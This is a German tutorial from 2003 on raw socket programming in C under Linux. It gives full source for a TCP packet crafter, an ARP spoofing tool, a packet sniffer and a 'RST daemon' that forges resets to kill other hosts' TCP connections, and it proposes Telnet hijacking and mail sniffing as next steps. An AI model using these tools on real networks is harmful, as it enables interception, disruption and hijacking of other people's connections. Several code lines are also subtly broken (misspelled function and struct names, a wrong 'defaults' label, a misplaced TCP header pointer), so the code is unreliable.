__ __ ___ /\ \ /\ \__ /\_ \ ___ \ \ \___ __ ___ ____ \ \ ,_\ __ \//\ \ /'___\ \ \ _ `\ /'__`\ / __`\ /',__\ \ \ \/ /'__`\ \ \ \ /\ \__/ \ \ \ \ \ /\ \L\.\_ /\ \L\ \ /\__, `\ \ \ \_ /\ \L\.\_ \_\ \_ \ \____\ \ \_\ \_\ \ \__/.\_\ \ \____/ \/\____/ \ \__\ \ \__/.\_\ /\____\ \/____/ \/_/\/_/ \/__/\/_/ \/___/ \/___/ \/__/ \/__/\/_/ \/____/ 01100011 01101000 01100001 01101111 01110011 01110100 01100001 01101100 ||||[Chaos meets Tal]-[http://www.chaostal.de]|||| -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- [ Raw Socket Programmierung in C ] ------------------------------------------------------------------------------- Datum: 16.08.2003 ------------------------------------------------------------------------------- Autor: balle ------------------------------------------------------------------------------- Mit Raw Sockets kann man Netzwerkpakete mit all ihren Headeroptionen erstellen, ohne dass einem der Kernel dazwischen funkt oder aber auch Netzwerkpakete sniffen. Ok warum sollte man sich heute noch mit Raw Sockets beschäftigen wo es doch Libnet [http://www.packetfactoy.net/projects/libnet/] gibt? Vielleicht möchtest Du Pakete konstruieren ohne eine zusätzliche Library zu verwenden? Oder Du willst einfach Deinen Wissensdurst stillen und verstehen wie es funktioniert? Oder Du willst den Netzwerkverkehr sniffen ohne die Pcap Library [http://www.tcpdump.org] zu benutzen? Ich weiss es nicht... Aber wenn Du wissen willst wie Raw Socket Programmierung unter Linux funktioniert, lies einfach weiter! Vielleicht fragst Du Dich auch warum zum Teufel schreibt der Typ im Jahre 2003 nen Tutorial über Raw Socket Programmierung wo doch das Phrack Magazin [http://www.phrack.org] schon seid mindestens 1996 Artikel über Raw Socket Programmierung enthält? Ganz einfach! Als ich angefangen habe mich mit Raw Socket Programmierung zu beschäftigen, musste ich mir immer noch viel zu viele Informationen zusammen suchen, so dass ich mir gedacht habe, dass ich mal alles zusammen tippsel was man meiner Meinung nach so braucht. Für diesen Artikel solltest Du mindestens Grundkenntnisse in den folgenden Themen haben: * Aufbau von Netzwerken / Protokollen * ISO / OSI Schichten Modell * Socket Programmierung in C Ich stelle hier vor wie man unter Linux TCP/IP und ARP Pakete erstellt, Pakete aus einem Raw Socket liest und dekodiert und werde zum Abschluß beide Techniken vereinen, um einen simplen RST Daemon zu programmieren. Das erstellen von UDP oder ICMP (also auf IP basierende Protokolle) läuft analog zu der Erstellung eines TCP Packets ab. Man muss nur wissen wie die Header bzw. die Strutkuren der Protokolle aufgebaut sind und das erfährt man entweder aus den Header Dateien unter /usr/include/netinet/ oder über die Man Page zu dem jeweiligen Protokoll. Es gibt unter Linux zwei verschiedene Arten von Raw Sockets: * SOCK_PACKET * SOCK_RAW SOCK_PACKET muss man verwenden, wenn man auf Layer 2 (Data Link) arbeiten will wie z.B. auf der Ethernet (ARP) Ebene. SOCK_RAW benutzt man, wenn man auf IPv4 aufbauen will. Einen Raw Socket erstellt man folgendermaßen (wobei IPPROTO_* durch das jeweilige IP Protokoll ersetzt werden muss wie beispielsweise IPPROTO_TCP): rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_*); Raw Sockets darf man übrigens nur als root erstellen! Wenn man die Header selber setzen möchte, muss man dies dem Kernel mitteilen (one ist einfach ein Integer mit dem Wert 1): setsockopt(rawsock,IPPROTO_IP,IP_HDRINCL,&one,sizeof(one); Für mehr Informationen siehe: * man 2 socket * man 2 setsockopt * man 7 raw * man 7 ip * man 7 tcp * man 7 udp * man 7 icmp * man 7 arp Ok. Jetzt wird wieder in die Hände gespuckt, nen Bier oder ne Jolt gegrapscht und los geht's! Es folgt Beispiel Code zur Erstellung eines TCP / IP Pakets. Vielleicht noch vorher ein paar warme Worte zu üblichen Stolperfallen: * Der Code erstellt einen Packet Buffer auf den über Pointer die verschiedenen Header angesteuert werden (ip und tcp) * ip->ihl = 5; darfst Du nie vergessen, weil ansonsten ist das Packet auf jeden Fall ungültig (tcpdump zeigt bad-hlen 0) * Wenn man die Checksumme auf 0 setzt, wird sie vom Kernel berechnet Ansonsten sollte alles durch die Kommentare im Source Coder erklärt werden. Bitte beachte, dass als Socket Typ SOCK_RAW eingesetzt wird, weil wir auf dem IP Protokoll aufbauen wollen! // Includes #include <stdio.h>         // Standard I/O Funktionen wie printf() #include <stdlib.h>        // Standard Funktionen wie exit() und malloc() #include <string.h>        // String und Memory Funktionen wie strcmp() und memset() #include <unistd.h>        // System Calls wie open(), read() und write() #include <errno.h>         // Detailliertere Fehlermeldungen #include <sys/socket.h>    // Socket Funktionen wie socket(), bind() und listen() #include <arpa/inet.h>     // Funktionen wie inet_addr() #include <netinet/in.h>    // IP Protokolle, sockaddr_in Struktur und Funktionen wie htons() #include <netinet/ip.h>    // IP Header Struktur #include <netinet/tcp.h>   // TCP Header Struktur // Main part int main(void) {   int rawsock, uid;   struct sockaddr_in addr;   unsigned int packetsize = sizeof(struct iphdr) + sizeof(struct tcphdr);   unsigned char packet[packetsize];   struct iphdr *ip = (struct iphdr *)packet;   struct tcphdr *tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));   int one = 1;   // Are you root?   uid = getuid();   if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }   // Packet Buffer initialisieren   memset(packet,0,packetsize);   // Erstelle einen IP RAW Socket Deskriptor   if( (rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1 ) { perror("socket"); exit(1); }   // IP_HDRINCL muss eingeschaltet sein, um sicher zu stellen, dass uns der Kernel nicht   // in den Headern rum fummelt   if( setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1 ) { perror("setsockopt"); exit(1); }   // IP Header zusammen basteln   ip->version = 4;                        // IP Version   ip->ihl = 5;                            // Internet Header Length   ip->id = htonl(random());               // IP ID   ip->saddr = inet_addr("127.0.0.1");     // Source IP   ip->daddr = inet_addr("127.0.0.1");     // Destination IP   ip->ttl = 123;                          // Time to live   ip->protocol = IPPROTO_TCP;             // Transport Protokoll TCP (6)   ip->tot_len = packetsize;               // Groesse des IP Pakets   ip->check = 0;                          // IP Checksum (Wenn die Checksumme 0 ist, wird sie                                            // vom Kernel berechnet)   // TCP Header zusammen basteln   tcp->source = htons(1234);              // Source Port   tcp->dest = htons(23);                  // Destination Port   tcp->seq = htonl(1000000000);           // Sequence number   tcp->ack_seq = htonl(1000000000);       // Acknowledgement number   tcp->ack = 1;                           // TCP Flags   tcp->syn = 1;   tcp->window = htons(1024);              // Window size   tcp->check = 0;                         // TCP Checksum   // Schicke das Paket auf die Reise     addr.sin_family = AF_INET;   addr.sin_port = tcp->source;   addr.sin_addr.s_addr = ip->saddr;   if( (sendto(rawsock,packet,packetsize,0,(struct sockaddr*)&addr,sizeof(struct sockaddr_in))) == -1 )     {       perror("send");       exit(1);     } // Raw Socket Deskriptor schliessen close(rawsock);   return 0; } Als nächstes erstelle ich ein ARP Reply Packet, um ein simples ARP Spoof Programm zu implementieren. Weil das Paket auf dem Ethernet Layer aufbauen soll, muss der Socket Typ SOCK_PACKET verwendet werden! Eine miese Stolperfalle über die ich gefallen bin, ist, dass ich vergessen habe im Ethernet Header den Pakettyp anzugeben: ethhdr->ether_type = htons(ETHERTYPE_ARP); Außerdem hab ich am Anfang immer /usr/include/net/arp.h included, aber bei mir (Debian Woody) ist die halbe ARP Header Struktur auskommentiert. Deswegen hab ich sie mit im Source Code stehen. // Includes #include <stdio.h>           // Standard I/O Funktionen wie printf() #include <stdlib.h>          // Standard Funktionen wie exit() und malloc() #include <string.h>          // String und Memory Funktionen wie strcmp() und memset() #include <getopt.h>          // Parsing Parameter #include <errno.h>           // Detailliertere Fehlermeldungen #include <sys/socket.h>      // Socket Funktionen wie socket(), bind() und listen() #include <net/ethernet.h>    // Ethernet Header Struktur #include <arpa/inet.h>       // in_addr Struktur #define ARPOP_REPLY 2 #define ARPHDR_ETHER 1 #define ETH_ALEN 6 // ARP Header Struktur struct arphdr {    u_short hw_type;           // hardware type    u_short proto_type;        // protocol type    char ha_len;               // hardware address len    char pa_len;               // protocol address len    u_short opcode;            // arp opcode    u_char source_add[6];      // source mac    char source_ip[4];         // source ip    u_char dest_add[6];        // dest mac    char dest_ip[4];           // dest ip }; void usage(void); // Main part int main(int argc, char *argv[]) {   int sock, uid;   struct sockaddr addr;   char c;   char *opts = "d:i:m:s:t:";   unsigned int packetsize = sizeof(struct arphdr) + sizeof(struct ether_header);   unsigned char packet[packetsize];   struct ether_header *ethhdr = (struct ether_header *)packet;   struct arphdr *arp = (struct arphdr *)(packet + sizeof(struct ether_header));   char smac[18], dmac[18];   char sip[18], dip[18];   char dev[6];   // Are you root?   uid = getuid();   if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }   // Parameter verarbeiten   if(argc < 6) { usage(); }   while( (c = getopt(argc,argv,opts)) != -1)     {       switch(c)     {     case 'd':       strncpy(dip,optarg,18);       break;     case 'i':       strncpy(dev,optarg,6);       break;     case 'm':       strncpy(smac,optarg,18);       break;     case 's':       strncpy(sip,optarg,18);       break;     case 't':       strncpy(dmac,optarg,18);       break;         defaults:       usage();     }     }   // Packet Buffer initialisieren   memset(packet,0,packetsize);   // Erstelle einen Socket Deskriptor   if( ( sock = socket(AF_INET,SOCK_PACKET,htons(ETH_P_ARP))) == -1 ) { perror("socket"); exit(1); }   // Ethernet Header Optionen   memcpy(ethhdr->ether_dhost,(u_char *)ether_aton(dmac),ETHER_ADDR_LEN); // Destination MAC   memcpy(ethhdr->ether_shost,(u_char *)ether_aton(smac),ETHER_ADDR_LEN); // Source MAC   ethhdr->ether_type = htons(ETHERTYPE_ARP);       // ARP Protokoll   // ARP Header Optionen   arp->hw_type = htons(ARPHDR_ETHER);                    // Hardware Address Typ   arp->proto_type = htons(ETH_P_IP);                     // Protokoll Address Typ   arp->ha_len = 6;                                       // Hardware Address Laenge   arp->pa_len = 4;                                       // Protokoll Address Laenge   arp->opcode = htons(ARPOP_REPLY);                      // ARP OP Typ   memcpy(arp->source_add,ether_aton(smac),ETH_ALEN);     // Sender MAC   *(u_long *)arp->source_ip = inet_addr(sip);            // Source IP   memcpy(arp->dest_add,ether_aton(dmac),ETH_ALEN);       // Target MAC   *(u_long *)arp->dest_ip = inet_addr(dip);              // Target IP   // Schicke das Paket auf die Reise     strncpy(addr.sa_data,dev,sizeof(addr.sa_data));   printf("Sending ARP packet\n");   if( (sendto(sock,packet,packetsize,0,&addr,sizeof(struct sockaddr))) == -1 )     {       perror("send");       exit(1);     }   return 0; } void usage(void) {   printf("Usage: arpspoof -i <dev> -m <source_mac> -s <source_ip> -t <dest_mac> -d <dest_ip>\n");   exit(0); } Nach dem ganzen aktiven Konstruieren von Netzwerkpaketen, möchte ich jetzt zeigen wie man mit einem Raw Socket passiv Pakete sniffed. Als Socket Typ wird wieder SOCK_PACKET gewählt, weil wir ja das ganze Paket einlesen also auch den Link Layer. Wenn Du wie ich den Fehler machst und versuchst mit SOCK_RAW zu sniffen, siehst Du zwar auch Pakete hin und her fliegen, aber wirst Dich beim dekodieren wundern, warum Du unsinnige Werte erhälst. Der Code enthält noch einen kleinen Bug. Bei mir (Debian Woody mit Kernel 2.4.20) kommt es manchmal vor, dass der Destination Port 0 ist, warum weiß ich allerdings leider auch nicht. Das führt allerdings beim nächtens Beispiel, dem RST Daemon, zu einem ungewollten Programmende... // Includes #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/ethernet.h> #include <netinet/ip.h> #include <netinet/tcp.h> // Main Part int main(void) {   int sock, uid;   int packetsize = sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);   char packet[packetsize];   struct ether_header *eth = (struct ether_header *) packet;   struct iphdr *ip = (struct iphdr  *) (packet + sizeof(struct ether_header));   struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ether_header) + sizeof(struct iphdr));   // Are you root?   uid = getuid();   if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }   // Raw Socket oeffnen   if( (sock = socket(AF_INET,SOCK_PACKET,htons(0x3))) == -1) { perror("socket"); exit(1); }   // Lese Pakete aus dem Raw Socket und dumpe es   while(1)     {       read(sock,packet,packetsize);       printf("%s:%d\t --> \t%s:%d \tSeq: %d \tAck: %d\n",inet_ntoa(*(struct in_addr *)&ip->saddr), ntohs(tcp->source), et_ntoa(*(struct in_addr *)&ip->daddr), ntohs(tcp->dest),ntohl(tcp->seq), ntohl(tcp->ack_seq));     }   return 0; } Last but not least schmeissen wir die erlernten Techniken in einen großen Topf, rühren kräftig um und erstellen einen RST Daemon, der Pakete aus einem Raw Socket ausliest und ein RST Paket erstellt, welches das gelesenen Paket resettet. Dazu wird ein Paket erstellt, was von der Ziel-IP / -Port kommt, die erwartete Sequence Nummer (Acknowledgement Nummer des zu resettenden Packets) und das RST Flag enthät. Mehr zum Thema TCP Hijacking und RST Daemons findest Du z.B. unter: * www.datenterrorist.de [http://www.geektown.de] * www.krecher,de [http://www.krecher.de] * www.phrack.org [http://www.phrack.org] Hier der Source Code des RST Daemons: // Includes #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/ethernet.h> #include <netinet/ip.h> #include <netinet/tcp.h> // Main Part int main(void) {   int r_sock,w_sock, uid;   int packetsize = sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);   char packet[packetsize];   struct ether_header *eth = (struct ether_header *) packet;   struct iphdr *ip = (struct iphdr  *) (packet + sizeof(struct ether_header));   struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ether_header) + sizeof(struct iphdr));   unsigned char rstpacket[sizeof(struct iphdr) + sizeof(struct tcphdr)];   struct iphdr *rst_ip = (struct iphdr *)rstpacket;   struct tcphdr *rst_tcp = (struct tcphdr *)rstpacket;   struct sockaddr_in addr;   int one = 1;   // Are you root?   uid = getuid();   if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }   // Raw Socket zum lesen oeffnen   if( (r_sock = socket(AF_INET,SOCK_PACKET,htons(0x3))) == -1) { perror("socket"); exit(1); }   // Raw Socket zum senden   if( (w_sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) { perror("socket"); exit(1); }   // IP_HDRINCL muss eingeschaltet sein, um sicher zu stellen, dass uns der Kernel nicht   // in den Headern rum fummelt   if( setsockopt(w_sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1 ) { perror("setsockopt"); exit(1); }   // Lese Pakete aus dem Raw Socket und resette sie   while(1)     {       read(r_sock,packet,packetsize);       printf("%s:%d\t --> \t%s:%d \tSeq: %d \tAck: %d\n",inet_ntoa(*(struct in_addr *)&ip->saddr), ntohs(tcp->source), et_ntoa(*(struct in_addr *)&ip->daddr), ntohs(tcp->dest), ntohl(tcp->seq), ntohl(tcp->ack_seq));       // IP Header fuer RST Paket zusammen basteln       rst_ip->version = 4;                        // IP Version       rst_ip->ihl = 5;                            // Internet Header Length       rst_ip->id = htonl(random());               // IP ID       rst_ip->saddr = ip->daddr;                  // Source IP       rst_ip->daddr = ip->saddr;                  // Destination IP       rst_ip->ttl = 123;                          // Time to live       rst_ip->protocol = IPPROTO_TCP;             // Transport Protokoll TCP (6)       rst_ip->tot_len = packetsize;               // Groesse des IP Pakets       rst_ip->check = 0;                          // IP Checksum (Wenn die Checksumme 0 ist, wird sie                                                    // vom Kernel berechnet)       // TCP Header fuer RST Paket zusammen basteln       rst_tcp->source = htons(tcp->dest);         // Source Port       rst_tcp->dest = htons(tcp->source);         // Destination Port       rst_tcp->seq = htonl(tcp->ack_seq);         // Sequence number       rst_tcp->ack_seq = htonl(tcp->ack_seq);     // Acknowledgement number       rst_tcp->rst = 1;                           // RST Flag setzen       rst_tcp->window = htons(2323);              // Window size       rst_tcp->check = 0;                         // TCP Checksum       // Schicke das Paket auf die Reise         addr.sin_family = AF_INET;       addr.sin_port = rst_tcp->source;       addr.sin_addr.s_addr = rst_ip->saddr;       if( (sendto(w_sock,rstpacket,sizeof(struct iphdr) + sizeof(struct tcphdr),0,(struct sockaddr*)&addr,sizeof(struct ckaddr_in))) == -1 )     {       perror("send");       exit(1);     }     }   return 0; } Was kannst Du jetzt mit dem Wissen anstellen? Nun Du kannst neben einem RST Daemon auch einen Connection Hijacking Programm schreiben, welches eine Verbindung eines Plain Protokolls wie z.B. Telnet hijackt oder aber ein Sniffer Programm coden, dass z.B. Mails über die Protokolle SMTP, POP3 und IMAP abfängt. Das alles darfst Du natürlich nur unter legalen Bedingungen verwenden! Im Endeffekt kannst Du mit diesem Wissen jedes beliebige Netzwerkprogramm schreiben, was Du willst. Für ein paar Anregungen kannst Du ja mal beim P.A.T.H. Projekt [http://p-a-t-h.sourceforge.net] vorbei schaun.